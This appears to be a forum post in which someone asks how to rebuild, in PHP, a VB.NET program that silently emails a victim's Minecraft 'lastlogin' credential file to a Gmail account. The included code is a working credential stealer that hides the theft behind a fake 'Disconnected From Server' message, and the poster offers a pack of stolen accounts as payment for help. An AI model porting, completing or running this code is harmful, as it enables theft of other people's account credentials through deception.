send file in the background
is it possible
i was wondering is there away of sending file in the background of php so it will email the person the file
so it will send this file C:\Users\Vhalavan n\AppData\Roaming\.minecraft\lastlogin. (lastlogin dose not have a fileformat)
i was just wondering if you could do the same as this in php
VB.NET CODE
Code:
Imports System.Net.Mail
Public Class a
Dim smtp As New SmtpClient
Dim mail As New MailMessage
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim MyMailMessage As New MailMessage()
Try
Dim Attch As Net.Mail.Attachment = New Net.Mail.Attachment(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\.minecraft\lastlogin")
MyMailMessage.Attachments.Add(Attch)
MyMailMessage.From = New MailAddress("GMAIL YOUR GOING TO SEND TO")
MyMailMessage.To.Add("GMAIL YOUR GOING TO")
MyMailMessage.Subject = TextBox1.Text & "-Lastlogin"
MyMailMessage.Body = (" ")
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("MAINGMAIL", "MAINGMAILPASSWORD")
SMTP.Send(MyMailMessage)
MsgBox("Disconnected From Server, Please try again later!")
Catch ex As Exception
End Try
End Sub
End Class
if there is a way plz add me on skype so we can talk about it
if you helped me out il send u my mega pack of account it contains porn accounts minecraft and more